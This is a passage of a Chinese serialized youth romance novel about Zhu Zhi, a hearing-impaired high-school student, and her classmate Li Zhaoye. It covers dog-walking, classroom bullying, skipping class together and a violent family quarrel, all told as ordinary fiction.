“烤梨健康点，吃烤梨吧，饭我就点常吃的那家了，你没什么忌口吧。”
祝枝说：“没有……谢谢。”
三下五除二点好外卖后，祝枝领着狗出去溜达了，李昭野闲来无事，继续刚刚没打完的游戏，却被通知已经因为挂机举报禁赛了。
他无聊得很，给王宇轩发去消息。
-在干嘛？
-背书
-？
-拿着手机背书啊
王宇轩发来一张偷拍他奶奶的照片，今天负责照顾他的时老太太，比较好糊弄，把手机藏在书里，她压根发现不了。
-丁瑶联系你了没？
-没
-哥你说这事她会不会还不知道
-……
-少恋爱脑
王宇轩发来一个狂哭的表情包，那天打人的几个人已经被抓起来了，李昭野的叔叔没打算让这事随便翻篇，一直在起诉，事情闹得还挺大的，丁瑶不可能不知道。
祝枝的聊天框里又弹出一个视频，她拽着绳子，前面的雪花活蹦乱跳的，拽着祝枝一个劲跟着跑。
李昭野都能想象到她费劲迈着腿跟上的动作，忍不住笑。
视频里她的声音很小，被风吹散，断断续续的：“你没告诉我……这么难遛啊……”
-看来你还是得和大家一起上上体育课了
过了十多分钟，祝枝发来一条消息。
-……好累
-明天还是让阿姨遛。
-我可以的！
她抱起迈着小短腿蹦跶的雪花，医生说它是一只小土松，是很需要陪伴的小狗，李昭野不在家，她得多陪陪它。
祝枝回到李昭野家里的时候，外卖已经放在门口了，她拎进去，正好刷到李昭野刚刚更新的朋友圈，是她发给他的那条视频，视频里还有那句她小声说的“它好乖”，就这么被更新在了李昭野的主页，文案是确实挺乖的。
祝枝加的人少，但李昭野列表上千人，这视频很快被转到了不少聊天框里，都在猜测说话的女生是谁。
而对一切都一无所知的祝枝急匆匆地收拾好了桌子，为了赶上晚自习，她只能把烤梨带回教室吃，课间休息的时候，烤梨已经不怎么热了，但是很甜。
祝枝咬了一口软糯的梨肉，耳边响起的熟悉名字让她侧目望去。
“不是，你不是信誓旦旦跟我说李昭野身边没人吗？”
程勇被隔壁班一个漂亮女生揪住了耳朵质问，祝枝咬着勺子上的梨块，眼睛转溜溜的，变偷听八卦。
“还跟我说什么我有机会，讹了我两顿饭，你要不要脸啊。”
“上次我都看野哥吃你送的饼干了啊，他以前从来不吃这些东西的。”
“上次？什么时候？我之前给他送的曲奇不是都进了你们肚子吗？”
“就开学典礼那次啊，我们问他要他都没舍得给呢。”
祝枝愣了一下，错愕地眨了眨眼睛。
好像是她给李昭野送的，他不是说也不一定吃吗？
异样的酥麻感攀上心头，祝枝抿了抿唇，冰糖和梨子的甜味还残存在舌尖，分泌出让人心情变好的多巴胺，她低头藏下视线，继续偷偷吃梨。
“谁弄的啊？”一道不悦的男生打断了她的思绪，祝枝抬眼望去，是她同桌，正盯着桌上一小滩水渍，不满道。
是刚刚祝枝拆开盖子，上头残余的一点水，弄到了他桌子上。
祝枝小声说了句抱歉，立马拿出纸巾帮他擦干净。
男生动作很大地坐下，椅子在地上发出呲拉的一声。
“味好大，非要在教室里吃吗？”
祝枝看了他一眼，瞥见他不满的视线后才惊讶地发现是在说自己。
梨子能有大的气味……
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祝枝不想跟他争，反正也吃不下了，干脆盖好盖子，收到椅子边，准备下晚自习再去丢掉。
上次那件事后没过几天，他的那本画满了“罪证”的本子被班主任没收了，发给了家长，当了好几天的笑料，他认为这事是祝枝跑去告的状，现在正是心里烦躁的时候，每天都在找祝枝的不痛快。
祝枝大多数时候都选择沉默，倒显得他总是凑上去找事一样。
“唐明，人家都不搭理你，别跟个舔狗一样行吗？”坐在前排的女生调侃道。
“有病吧，我舔她？”唐明面露不悦，仿佛被羞辱了一番似的，声音很大。
教室里的视线很快聚集了过来，祝枝轻轻摇头叹气，她紧攥住手指，深知这种人不给反应才是最好的解决办法。
“我还没饥渴到那种程度，残疾人都看得上。”
一句残疾人让祝枝瞬间僵住，她低着头，数道视线如芒刺背，她尽量把呼吸放得平缓些，让自己冷静些。
班上有其他男生笑他：“你还不够饥渴啊？”
话题很快被带过去，大家开始叽笑着唐明的囧事，被翻过页的残疾人几个字就这么定下了似的，没人纠正他。
祝枝也没有出声纠正他。
委屈的增长速度快得恐怖，祝枝咬紧了牙，用无数次消化同样情绪的办法消化掉此刻，助听器被悄悄摘下，隔绝掉周围嘈杂的环境音之后，祝枝才稍微让剧烈跳动的心脏平缓了一些，脸上漫起的红热褪去，逼着自己将心绪放到卷子上。
没事的，等李昭野回学校，她就能不要再和这个人当同桌了。
祝枝这么安慰自己。
糟糕的心情的侵占力很猛烈，祝枝一直到家里都是有些沮丧的，她勉强打起精神洗了个澡，趴到床上发呆。
她还有计划没有完成，但身体很快说疲惫，昏昏沉沉地睡着了。
春天已然降临在某个清晨，延伸到祝枝窗边的一簇翠绿的枝叶将她心间的阴霾扫去，可在到了学校，见到唐明那张因为长痘而坑坑洼洼的脸之后，祝枝的好心情又消散了一半。
-李昭野
-你什么时候回学校呀？
-你好了吗？
李昭野睁眼便是这几条消息，九点多发的。
不是，有这么想他回去吗？上课都敢偷偷玩手机了。
他低头打字。
-医生说下周就可以出院了
-那可以回来上课吗？
-？
-现在不是上课时间？
-你在玩手机？
祝枝上课都敢看手机了，这也太反常了。
-英语课…
-认真点
祝枝正心惊胆战地拿着手机，看到李昭野的这条消息后，她小心翼翼抬头看了眼老师，又慢吞吞打字回复。
-我可以先和老师去说一下吗？
-说什么？
-我想和你坐。
-我搬到你旁边去，等你回来。
不是，她怎么变得越来越直白了？以前可是和他对上视线多说两句话都是会脸红的，现在变得主动又黏人，消息要发，视频要打，同桌要继续当，好像片刻都离不开他似的。
李昭野面红耳赤地回复她。
-随便你。
27. 27
当天午休，程勇就把祝枝的桌子给搬到了李昭野旁边。
他一边懊恼自己真是头猪，当时见李昭野毫不留恋地换开了位置，还真当王宇轩他们几个是误会了，毕竟说句实话，这样本分老实，又不怎么打眼的姑娘，就算出现在李昭野身边，也很难想象他们会真有点什么。
直到祝枝从书包里拿出一盒曲奇饼干用来感谢他，程勇深吸了一口气，猛地拍了一下自己的脑门。
真服了。
“怎么了吗？”祝枝小声问他。
面前的女孩子面容姣好，眼睛很亮，乖巧地穿着校服，袖口盖住手腕，柔顺的黑发被皮筋扎了起来，额前只剩一些胎毛碎发，发尾落在肩头，整个人一副好学生的模样，干净又清澈。
“我是在想，要不我把野哥的座位搬到唐明那里，他坐过来，这样你坐前面点，方便听课。”
祝枝可不想再去和唐明打交道了，她摇了摇头，说：“不用麻烦了，谢谢你。”
和一堆粗糙的大老爷们呆惯了，程勇有点不适应她的礼貌，瞥过祝枝耳朵里藏着的那枚小小的助听器后，他更是不知道该如何跟她相处，结结巴巴说了句不客气之后，赶忙逃离了祝枝面前。
坐到最后还是有点影响祝枝听课了，但临近高考，大多数时间都是自习刷题，单独找老师答疑解惑，旁边虽然空着，但想到同桌依旧是李昭野，祝枝心安了不少。
李昭野回学校那天还在教室里引起了不小的骚动，毕竟日复一日的枯燥日子忽然来了件能讨论的事，大家都很积极，围着李昭野问他打架的事，甚至还有人想掀开他的衣服看看刀伤。
祝枝坐在角落里，脱去厚重的羽绒服，换上了干净整齐的校服，乖学生连领口都抹得很平，她正在认真写题，马尾长了许多，额前有细小的绒毛，带着几分暖意的光落了到她眉眼处。
“行了行了，滚滚滚，吵死了。”李昭野把周围的人驱散，这才好不容易得了空安静坐下。
李昭野侧身盯着正在继续写题的祝枝，从他进教室到现在，她还没跟他说过一句话。
昨天在微信上倒是聊得开心，消息是一条跟着一条蹦出来，今天怎么就没个动静了。
一旁灼热的视线实在难以忽略，祝枝扭过头，对上李昭野琥珀一般透亮的黑眸。
李昭野看着她，不说话。
她也看着李昭野，不说话。
最后还是祝枝率先败下阵来，露出一个乖乖软软的笑，有些腼腆似的。
“你看着我干嘛？”
李昭野被她猝不及防的直球打得耳朵有些发烫，着急收回视线后，他轻咳了两声。
“随便看看。”
祝枝凑近，歪着脑袋，好奇地问他：“你好了吗？”
“呃……啊？”李昭野脑袋反应了一下，心里嘀咕着凑这么近干嘛，然后才慢吞吞回答，“肯定好了呀，不然我叔叔不会放我出院回学校的。”
“那就好。”她说。
教室里的人已经散得差不多了，李昭野见她还准备继续写卷子，问道：“饿死了，你不去吃饭？”
“我还没写完呢。”
李昭野拽住她的手腕，拉着人起身。
这人还真是学魔怔了，都瘦成这样了，身上没几两肉，还不吃饭。
“没必要写题写到废寝忘食吧，吃饭去。”
祝枝被他拽着起身，李昭野的手掌好烫，她下意识挣扎了两下。
李昭野立马放开她，视线掠过那抹被他攥红的手腕，垂眸挪开视线。
难得见李昭野到食堂吃饭，路上碰到他的都要惊奇地打声招呼，他身后还跟着个小姑娘，走两步路就要扭头确认一下人有没有跟上来，惹得大家好一阵调侃，都被李昭野给骂回去了。
这个点排队打饭的队伍已经没多少人了，祝枝挑了两个没那么讨厌的菜，端着餐盘在李昭野旁边等他。
等他挑好了菜，祝枝主动替他付了钱。
第一次被女孩抢先刷卡的李昭野：“……？”
面前的女孩子露出一道明媚的笑：“我请你吃。”
祝枝独来独往惯了，每次一个人吃完饭就回教室继续写题，跟着朋友一块在食堂挑位置的感觉还是挺陌生的。李昭野在学校认识不少人，好几波叫他坐下一块吃的都被拒绝了，最后挑了个靠窗的位置，最近天气好起来了，阳光铺了满满一桌，看着很温馨。
食堂的饭菜味道实在难入李昭野的眼，他勉强吃了几口，见祝枝低头吃得斯文且认真，他说：“这么难吃，难怪你瘦。”
祝枝认真思索了一会，说：“难吃，但干净。”
李昭野轻笑，他伸手接过祝枝的碗，突然的动作吓得她眼睛都瞪大了。
“出去吃。”
祝枝：“啊？”
没动几口的难吃饭菜已经被他起身倒掉了，祝枝抓着筷子跟上他的步子，把筷子丢回桶子里，小声道：“快上课了……”
“体育课，你又不用上。”
“可是……”
李昭野腿很长，步子很大，祝枝得小跑两步才能跟上，劝不住他，祝枝只能在后头一边跟着一边着急。
直到李昭野领着她走到操场角落里的一个缺口处，这里还被之前逃课的学生们给拽了些枯草用以伪装，李昭野熟练地扒开那堆枯草，露出缺口的铁栅栏正好够一个人过，下面是一米多高的台阶。
祝枝扭头看了眼身后，又看了眼需要跳下去的高度，打起退堂鼓。
“要不还是算了吧。”
李昭野已经从善如流地跳下去了，他腿长，轻松就能踩到地上，然后扭头看向祝枝，朝她伸手：“跳吧，不是很高。”
祝枝轻轻皱着鼻子，很是为难的样子。
少年站在台阶下看向她，额前的黑发被风吹散，轮廓分明的五官俊朗帅气，他抬起手臂，没在皮肉里的青筋起伏，身型清而不瘦，迸着十七八岁少年蓬勃的力量感。
他颇有耐心，抬头看着祝枝，等她鼓起勇气跳下来。
“那等会怎么上来？”祝枝的声音很小，混在风里，鹿似的干净透亮的眼睛看向李昭野，耳畔的发被风吹得轻轻晃动。
“笨。”李昭野轻声道，“走大门回学校，门卫才不会拦呢。”
他歪了歪脑袋，故意看了眼操场方向，悠悠道：“再不快点其他人都要来操场上课了，要被抓了哦。”
祝枝咬了咬牙，她现在都分不清此刻的心慌是因为不敢跳下去还是
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因为逃学。
李昭野已经在下面等很久了，祝枝眼一闭，小心翼翼地探出脚朝下。
她的手紧紧攥着栏杆，伸出去的脚半天都没探到底，心下有些着急，小声叫着他的名字。
“李昭野……”
忽然，腰间落了双有力的手，将她整个人稳稳托住。
“松手。”李昭野的声音覆在耳边。
祝枝手指微松，下一秒便被李昭野托住腰，稳稳放到地上。
她松了口气，下意识扭头看向李昭野想道声谢，那人却已经快速撇开了脑袋，红红的耳朵藏在头发里，小声嘀咕道：“轻得要命。”
上学时间踩在学校外面的感觉很奇妙，祝枝还在发愣之际，李昭野已经打好了车。
这家中东料理是新开的，李昭野听程勇他们说了几次想来尝尝，路过时瞥了眼菜单上琳琅满目的甜品栏，一猜祝枝就会喜欢吃，果然，拿着菜单选饭后甜点的她很是纠结，来来回回看了好几轮都没有选定，看来是哪个都想吃。
“还是这个吧。”
她选了没吃过的土耳其库拉法甜品，造型挺新奇的，看起来很好吃。
“可以多点几个，想吃的都点上。”
她收起菜单，说：“够了的，吃不完浪费。”
还在吃主食的时候甜品就上来了，祝枝碗里的饭都没吃下两口，就忍不住尝了口甜品。
她眸间闪过一丝惊喜的亮光，像是得到奖励的雪花，开心地竖起了李昭野想象出来的茸茸耳朵。
祝枝把碗推向了李昭野：“好吃。”
李昭野随意舀了一小勺吃下，在唇齿间弥漫开的香甜味道让他轻轻皱了下眉，偏偏祝枝还用那充满期待的眼神继续看着他。
“还行。”
他只能给出这个评价。
放在口袋里的手机开了静音，有电话进来时贴着他的身体震个不停。
李昭野看了眼备注，接通：“喂？”
“呃……”电话那头程勇报信来，说体育课被占了，现在在自习，问他和祝枝去哪了，“随便找个借口。”
祝枝瞬间警觉起来，圆溜溜的眼睛看向李昭野。
“哥，你一个人溜我好找借口，你把人家好学生都给拐出去了，我找什么借口？”
“她陪我回医院换药。”
“没请假啊。”
“找体育老师请了。”
“……好扯。”
至于能不能用这个很扯的借口糊弄过去，就全靠程勇了，挂断电话后，祝枝忙问：“被发现了吗？”
“体育课被占了，现在在教室自习。”
“啊？”
仿佛听到了什么晴天霹雳的消息，祝枝紧张地咬住下唇，细眉微蹙。
李昭野逃课惯了，没觉着是个什么大事，可见她神色懊恼，还是出声哄道：“没事的，被罚了我找人替你就行。”
一件不老实的事还得用另一件不老实的事弥补，祝枝更郁闷了。
“其实食堂也没那么难吃吧。”她瘪了瘪嘴，小声道。
李昭野简直要被她这可怜兮兮的小表情给弄得愧疚死了，又说：“再给你点两个甜品，补偿你。”
“……好吧。”
28. 28
被叫到班主任办公室挨训的时候，祝枝努力回忆刚刚吃甜品时候的快乐心情，可没挨过几次骂的小女孩还是因为班主任的严厉语气而生出些委屈的情绪。
偏偏旁边站着的李昭野依旧是一副吊儿郎当的样子，压根没把老师的话放心上似的。
李昭野正好对上她的视线，还挺诧异的。
她都会瞪人了？
“紧要关头了，不全力以赴冲刺，到时候因为几分之差到不了心仪的学校，后悔都来不及。”
“还跟我撒谎说出去换药，要不是班上有人看到你们从操场那里偷偷出去，告诉我，你们还想把我瞒在鼓里啊？”班主任越说越生气，“一个个的，都给我把家长叫过来！”
见祝枝身体抖了抖，李昭野心里笑了句没出息，他懒洋洋道：“老师，我家长不在家。”
“李昭野！我知道你家有钱，但是你不准备读大学了吗？”
“准备读啊。”李昭野拖着声音回答道。
“那就拿出点想读大学的态度来，高三最后一个学期了，还成天逃课，现在还带祝枝跟你一块逃课。”
“特别是你啊祝枝，你上学期英语都进步了不少，现在怎么又变成这样了？英语老师跟我反映了好几次，说你上课走神的现象很严重。”
祝枝被训得头越来越低，巴不得跟只鹌鹑似的，整个人都躲起来。
千篇一律的教育话语在李昭野心里很难留下痕迹，他正无聊着，视线无意识地落到祝枝身上。
还别说，看好学生挨训挺有意思的。
从办公室出来后，祝枝走得飞快，两条小腿使劲往前，无奈李昭野腿长，三两步就跟上她了。
身旁的人神色如常，插着棒球外套的口袋，步子悠悠。
祝枝顿下脚步，扭头看他。
“都怪你。”她小声抱怨。
“怪我。”李昭野应下后，快走了两步，超过她后转身看向祝枝，“可你不是吃得也挺开心的吗？”
祝枝脸都憋红了，紧抿着唇，眸里黑漆漆的，但又闪着亮光，视线灼热。
她向来是说不过李昭野的。
想起刚刚班主任说的话，李昭野问她：“你最近上英语课又开始发呆了？”
这话更是戳到祝枝的痛处了，她下唇被牙齿蹂躏了一遍又一遍，漫上了一层淡淡的粉色。
“有的听不懂。”
“不认真。”
可以说她关于学英语这事不聪明，可绝不能说她不认真，祝枝气鼓鼓的，嘴张了又张，黑亮的眸里带着几分不满，盯着李昭野。
少年修长的手指微屈，在她额头上轻轻一推。
“回教室去。”
似乎是为了弥补逃掉一节课的事，祝枝一下午都学得格外认真，下课都没出去透过两次气，卷子写了一张又一张，倒是越来越有状态了。
忽然，一句脆生生的脏话吓得她手一抖，祝枝寻声望去，是正在打游戏的程勇嚷出来的，在安静的教室里过于明显，但班干部拿他们几个人束手无策，只能睁一只眼闭一只眼。
李昭野啧了一声，皱眉道：“安静点。”
“野哥，上号一块啊。”
程勇他们几个凑在一块打游戏，动静大得很，打到激动的时候还会嚷出几句脏话，这后两排的人都太不老实了。
“吵死了。”李昭野说。
程勇嘀咕道：“不打就不打呗，怎么还管起纪录来了。”
李昭野无聊地转着笔，视线掠过桌上的数学卷子，上面的题竟然还有点熟悉，都是祝枝寒假的时候硬要给他讲题以示感谢的时候着重讲过的。
“哟，太阳打西边出来了，野哥都开始学习了。”
李昭野眉头微皱，略带几分不满的视线投向那几个正吵着看热闹的几个人，说：“自习呢，安静点。”
学班主任的话术倒是学得熟练。
“你不学习，其他人还得学呢。”
这坐在后排还在学习的，也就祝枝一个了，齐刷刷投到她身上的视线被李昭野瞪了回去。
这个下午的自习课都因为李昭野的警告，后排几个人安分老实不少，班长频频扭头，生怕他们在闷声憋大事。
王宇轩的恢复情况也挺好的，但是他脸上挨了很重的一下，眼角处留了道尚未褪去的淡粉色疤痕，他拎着瓶杯壁冒水汽的可乐走到李昭野班后门，出声叫他。
“野哥，喝饮料。”
李昭野起身走去，接过可乐罐后拉开易拉罐，被密封的气体争先恐后地从易拉罐里钻了出来，冒着细小的水泡，溅在拇指上，被他神色淡然地抹去。
“这周末打不了游戏了，前两天在家被我妈狠揍了一顿，除了来上学，哪里都不准去了。”
“你都伤成这样了，你妈还揍你啊？”
王宇轩可怜兮兮地举起一根手指，皱着脸，诉苦道：“第一次揍我揍这么狠。”
李昭野没忍住，轻笑出声。
“也没几个月就考试了，我妈说了，只会给我继续读书的生活费，如果没考上民办的学校，是不会掏钱供我去民办的。”他耸了耸肩，“虽然有几分恐吓我的意味，但她说的也有道理，毕竟都要高考了，我也没啥大志向，只要能考到汽修专业就好了。”
气泡在喉间里飞速炸开，密密麻麻的，李昭野用手背蹭去下巴处的可乐渍，视线落在一屋子就算是下了课也舍不得出去，埋头苦学的同学身上。
祝枝就是其中一个，她坐在角落里，周围空了一大片，正沉默地低着头，绞尽脑汁解开桌上的卷子，似乎什么都不能影响她，小小的身体里蕴藏着惊人的毅力。
“但是你肯定不用操心，出国留学的话是不是这学期就可以走了啊？”
李昭野敛眸：“还没想好。”
李振华的意思是让李昭野找个国外的学校先拿个文凭，不一定非要学游泳，具体做什么还可以再商议，毕竟他也不指望李昭野能有个什么很大的出息，只要安安分分地在家里待着就行。
铃还没响王宇轩就回了班，说是要改过自新好好学习了，李昭野也回了座位，才刚坐下，祝枝就递了
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道题到他面前。
“教教我好吗？”
细细小小的声音，但是比起刚坐一块那会已经好多了。
李昭野左手撑着脸，右手接过祝枝手中的笔，把题目中的句子拆分开来，复杂的英语单词在他嘴里念出来多了几分从容和松弛，很是动听。
小姑娘听得认真，光滑的下巴上长了些细白的绒毛，整个人看起来嫩生生的。
“啊……懂了。”她的视线直勾勾盯着卷子，显得道谢都有点敷衍了，“谢谢你。”
上课铃再次响起，李昭野瞥了眼课表，光是看到数学两个字都忍不住犯困打哈欠，他有些不解道：“这么用功，一下午都没见你出去休息过。”
祝枝轻咬下唇，叹气说：“马上要高考了。”
一个个倒还都目标明确，有马上要考试的紧迫性。
李昭野把笔从她葱白的指尖抽了出来，说：“那也不能一直看吧，眼睛都要看坏了。”
“看看外面。”
他陡然靠近，身上的木质沉香瞬间将祝枝紧紧包裹着，修长的手臂够到窗帘后，一把扯开已经关了一整个下午的窗帘，一道明亮的光瞬间从窗外钻了进来，顷刻间，昏暗的后座被亮光侵扰，惊醒好几个睡得正沉的人。
“谁啊——”
恼怒的声音在对上李昭野的视线后卡在喉咙里，憋了副可怜兮兮的，敢怒不敢言的样子，换了个姿势继续睡。
数学老师还没来，教室里有些嘈杂，正是最好睡觉的时候。
李昭野高她一个头，并肩坐着时只需微微低头便能将她的神态收入眸中。
轻扰着偷懒学生的不止有漫进来的阳光，还有卷着操场上青草香味的微风，轻轻抚开祝枝肩头的碎发，少女被舒适的风睡得眯起了眼睛，光洁的额头下是卷翘的睫毛，正在轻轻颤抖着，小巧的鼻尖随着放松下来的呼吸而一动一动，白色校服外套下摆滑落，随着风的动作而晃动着。
而她的发间，藏着一枚小小的助听器，不细看压根发现不了。
这是她连接世界的开关，也是她安静内敛的源头。
神游在窗户外广袤宇宙世界里的思绪被数学老师轻敲桌面的动静给扯了回来，祝枝扭头想找李昭野拿回自己的笔，猝不及防撞进他专注的视线当中，当即一愣。
李昭野也是没想到自己的偷看会被正正好抓包，他耳廓漫上一层淡淡的粉色，藏在黑发里，看不明显。
立马挪开视线后，他依旧能察觉到祝枝还在盯着自己。
真是……有必要看这么久吗……
显然他已经忘记自己刚刚盯着人家看了多久。
祝枝朝他伸手，眼睛轻轻眨了眨。
“我的笔。”
“啊？哦，我笔丢了，你的借我。”
也没见他写过几次作业，每天都在丢笔。
“……好吧。”
指尖捏住祝枝那支淡蓝色的笔，刚刚她细而干净的手指捏着笔的样子还在脑海中浮现……李昭野轻轻呼出一口气，暗骂自己想的真的太多了点。
29. 29
“枝枝，衣服都叠好了，你抱进去。”
祝枝换好鞋子走近，俯身抱起沙发上的衣服，妈妈叫住她。
“感觉你今天心情不错，在学校发生什么事了吗？”
祝枝愣了一下，有这么明显吗？
妈妈轻轻揉了揉她的肩膀，低声道：“学习是很累，但是也要注意休息，要把身体养好了才有本钱去学习呀。”
前段时间祝枝看起来确实有些沉闷，回了家一句话都不说就回房间里，整个人阴沉沉的，心情很糟糕似的，毕竟到了高三，孩子的心情是父母时刻忧心的，今天一看，感觉她状态又好了很多。
“爸爸买了草莓，放在冰箱里，等会妈妈洗了送进来。”
祝枝露出一个甜甜的笑：“谢谢妈妈。”
把衣服一一放进柜子里整理好，从最下面掉出来的两件让祝枝眉头微皱，才想起衣服都还没还给林知阳。
她蹲到书柜下翻了一个漂亮的纸袋出来，把洗干净的衣服整整齐齐叠好之后放到袋子里，思绪乱飘。
那日全然顾着李昭野，现在回忆起来才想起林知阳从天而降的安心感，处理起事情来妥帖又稳重，确实担得起学校老师给他的高评价夸奖。
一张写着谢谢的卡片被祝枝放进去又拿出来，总觉得过于正式，怕林知阳尴尬，更怕自己没胆量送出去。
犹豫着，妈妈已经端着草莓敲响了祝枝的房门。
“进。”祝枝小声说。
纸袋被她放到书桌下藏了起来，正色在书桌前坐好，妈妈把草莓放到桌子上，见自家姑娘用那双水灵灵的眸盯着自己，心里头泛软，伸手将她额前的发抚开。
视线落到祝枝手边放着的大学宣传招生册上，高考迫在眉睫，祝枝拿到学校下发的册子之后认真翻看了很久。
“乖崽，想好要考去哪个大学了嘛？”
祝枝脸上的笑意很淡，她轻轻摇了摇头。
“前几天我和你们老师通了电话，以你现在的成绩，报市里的师范大学还是很有把握的，到时候离家里近，每周末还能回家陪陪妈妈。”
轻柔的动作落在祝枝发间，劳累学习一整天翘起来的蓬松头发都被妈妈一一抚平，温柔的手落到祝枝耳畔时，动作有些僵硬。
“你离得近，我们也放心些。”
祝枝呼吸顿了顿，小声道：“我还没想好。”
“这有什么好想的，我到时候让你爸爸去找他那个大学同学问问专业。”
拒绝的话在妈妈温柔的视线中很难说出口，祝枝想考的大学离家里实在太远，她一直没能下定决心，但每次被问到这个问题时，心里冒出的唯一一个答案就是南大物理系。
可她暂时还考不上。
祝枝慢吞吞地咬下半颗草莓，酸甜的汁水在唇齿间迸开，思绪也随之飘远，没接妈妈的话茬。
冰箱里剩下的半盒草莓被祝枝洗干净带到学校，一并放到了要送给林知阳的纸袋里。
李昭野今天没来上学，后排比起昨天吵多了，祝枝安静地坐在后面写题，有听到程勇他们讨论李昭野今天去干什么了，没听太清，好像是他爸爸回来了。
第四节课下课铃前的五分钟，教室里躁动起来，老师频频打招呼管纪律，也压不住嘈杂的讨论声，主要都是在讨论待会儿中午要去吃什么。
下课铃终于响起，守自习的老师比他们还想赶紧逃离教室，不出几分钟，教室里就走得差不多了。
祝枝瞥了眼放在课桌里的纸袋，草莓湿漉漉的水渍已经干掉了，看起来没有刚从冰箱里拿出来那会干净新鲜。
犹豫了一会，她提着袋子起身，走到林知阳他们班后门。
祝枝知道他的新座位在哪，上厕所和打水的时候路过过很多次，本想偷偷塞进他的课桌里，可现在他们班教室还有几个人，坐在一块吃饭聊天。
要当着他们的面去放吗……
纸袋把被捏得很紧，祝枝深吸了一口气，还在纠结犹豫之际，身后忽然传来一道再熟悉不过的声音。
“祝枝？”
祝枝错愕扭头，视线猝不及防跌进林知阳那双明亮的琥珀眸之中。
手里的东西被缴得更紧了，祝枝呼吸都慢了几分，眼睛不眨不眨地看着面前高自己一个头的男生。
“你找我吗？”林知阳眸里落了些细碎的光。
祝枝举起手里的卡通纸袋，递给林知阳。
“衣服。”她敛眸躲开交接的视线，“洗干净了。”
“谢谢。”她又说。
“不客气。”林知阳接过她手里的纸袋，问道，“李昭野他恢复得怎么样了？”
虽然也差不多高，但比起李昭野，林知阳看起来纤瘦许多，书卷气很重，校服领口抹得极平，站在祝枝面前，结结实实地挡住了大半边门，将祝枝困在他们班后门。
“他今天没来上学。”
“训练去了吗？伤口应该还没有愈合，游不了泳吧。”
祝枝摇了摇头，紧张的情绪从见到林知阳那刻起便将她包裹着，后脖颈泛起一阵热意，始终不敢抬头和他对视。
几道视线从祝枝身后投来，林知阳问她：“你吃过饭了吗？”
“还没。”
“林知阳，回教室拿个卡怎么这么久。”
女孩子的声音清脆又好听，江羡走到他身旁，目光落到林知阳对面的女生时，轻轻挑了挑眉，手肘撞向林知阳，低声问道：“这不是……”
林知阳递给江羡一个眼神，扭头问祝枝道：“要不要一块去食堂？”
祝枝抬眸，明艳漂亮的女孩正用一道含着笑的视线看向自己，他们俩并肩站着，看起来很是熟稔。
手指在掌心攥紧又松开，在林知阳的视线中，她沉默地摇了摇头。
几乎是逃回教室的祝枝悄悄松了口气，心尖泛起一阵酸涩，不自在感在坐到位置上才稍加散去，她的视线落到屉子里洗干净的一小盒草莓，这是留给李昭野吃的，可他一整个上午都没来学校。
这会李昭野正在家里和李振华怄气，雪花紧张地围在李昭野脚边转来转去，李振华现在看他哪哪都不顺眼，连带雪花也臭骂了一顿，这小家伙正耷拉着脑袋，可怜兮兮的。
“我看我就不该把你一个人留在家里，做事越来越没有分寸了。”听到李昭野跟人打架都动刀子的事，李振华气不打一处来，当即就赶回了国，“美国的学校已经挑好了，你这点成绩，过去混个学位，到时候来帮我。”
“我对金融一窍不通，不想学。”李昭野已经不知道是第多少次重复这句话了。”
“那你想学什么？游泳？你学出个名堂来了吗？”
在胸口酝酿出的愤怒爆发，李昭野站起身，椅子被他推得发出一声巨响。
“当初不是你让我去游泳的吗？”
李振华怒目圆瞪，厉声道：“是你妈
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妈让你去学的。”
李昭野已经比他高了半截，少年人气势莽撞，说一不二：“我不会去的，我要留在国内。”
李振华冷笑了一声，说：“你还想着你妈妈？你别忘了，你的抚养权是她主动放弃的。”
怒意从四肢百骸涌向胸膛，李昭野瞪红了眼，死死盯着李振华，胸膛随着剧烈的呼吸而起伏着，整个人像绷到极限的弦，锋利无比。
“是，她不要我，也一样不要你，我们没什么区别。”李昭野冷笑，模样和刚刚李振华如出一辙，狠戾中带着几分冷漠，“婚内出轨，还家暴，是你拆散了这个家，跟你留在一个户口本上，我都觉得恶心。”
“你混账！”
清脆的耳光抽得李昭野耳朵嗡嗡作响，迅速蔓延在白皙脸颊上的巴掌印清晰可见，抿去唇角的血迹后，他阴测测地看了李振华一眼，起身夺门离开。
雪花汪汪叫着，用力咬住李振华的裤脚，阻止他追上李昭野，下一秒便被气急败坏的男人用力踹开，嗷呜叫唤着，一瘸一拐地跟上李昭野离开的方向。
抽屉里的草莓一直放到没了新鲜劲，祝枝把盒子收回书包里，再次瞥了眼李昭野空下来的座位后，收拾书包起身回家。
外头在晚一的时候就下起了雨，淅淅沥沥的，把整个校园都浸染在了潮湿里，祝枝打开伞，步子缓慢地步入雨中。
妈妈说今天和朋友约了打麻将，让祝枝早点回家休息，饿了就叫个外卖垫垫肚子。
祝枝想着书包里还有草莓，也就没点其他东西。
雨下得有点大，她不喜欢鞋子泡进水里的感觉，于是走得很慢，任由雨声敲击着伞面，发出枯燥但让人安心的声音。
忽然，视线中掠过一道白色的身影，三步并作两步，踩中一个水滩后直接滑倒，又爬起来继续跑。
祝枝狐疑地追了上去。
“雪花？”
被雨淋湿的小狗顿住脚步，祝枝快步跑向它，蹲下将小狗抱起。
真的是雪花，都被淋湿了，毛全都粘在一起，看起来很可怜。
“你怎么在这？”她把小狗抱进怀里，轻轻摸着，“李昭野呢？”
雪花使劲滚动着身体，想挣扎着跳下去，祝枝不解：“下雨了，你不要去淋雨，我送你回去。”
单手抱着小狗，伞只能卡在肩膀上，祝枝身上也被弄了好些水，湿漉漉的，不太舒服，只得加快了走向李昭野家的步子。
路过一道光线昏暗的花园小巷口时，雪花忽然开始激烈地叫唤，祝枝被它吓得一懵，心跳飞快。
怎么突然这么激动？有坏人吗？
祝枝小心翼翼看向不远处长椅上坐着淋雨的人，扣着黑色的卫衣帽子，露出的头发都已经被淋湿了，黑漆漆的，看不清他的表情。
雪花叫唤着，挣扎着想跳过去。
祝枝忽然心头一动，觉得这件卫衣有些眼熟。
轻手轻脚走近，熟悉的眉眼轮廓在微弱的路灯下出现，祝枝松下一口气的同时心里冒出些疑惑，她踩着湿漉漉的水滩走近，小声叫他。
“李昭野？”
僵坐许久的人缓慢抬起眸子，被洇湿的发丝贴着额头，水珠顺势滑下，没进血红的眸里。
昏暗的路灯下，祝枝一手抱着折腾个不停的雪花，另一只手打着一把已经全部倒向他的伞，头发被雨水漂湿，漆黑的夜色中，那双干净澄澈的眸透着光，正看向他。
30. 30
祝枝没见过李昭野这样可怜、失落。
像是被丢在路上的大狗，委屈地舔舐着受伤的爪子。
视线在雨幕中交织，祝枝干净的校服上已经被雪花蹭的乱七八糟，雨愈发大了，凌乱地拍在脸上。
下一秒，她的手腕被极凉手指抓住，往前用力一拉。
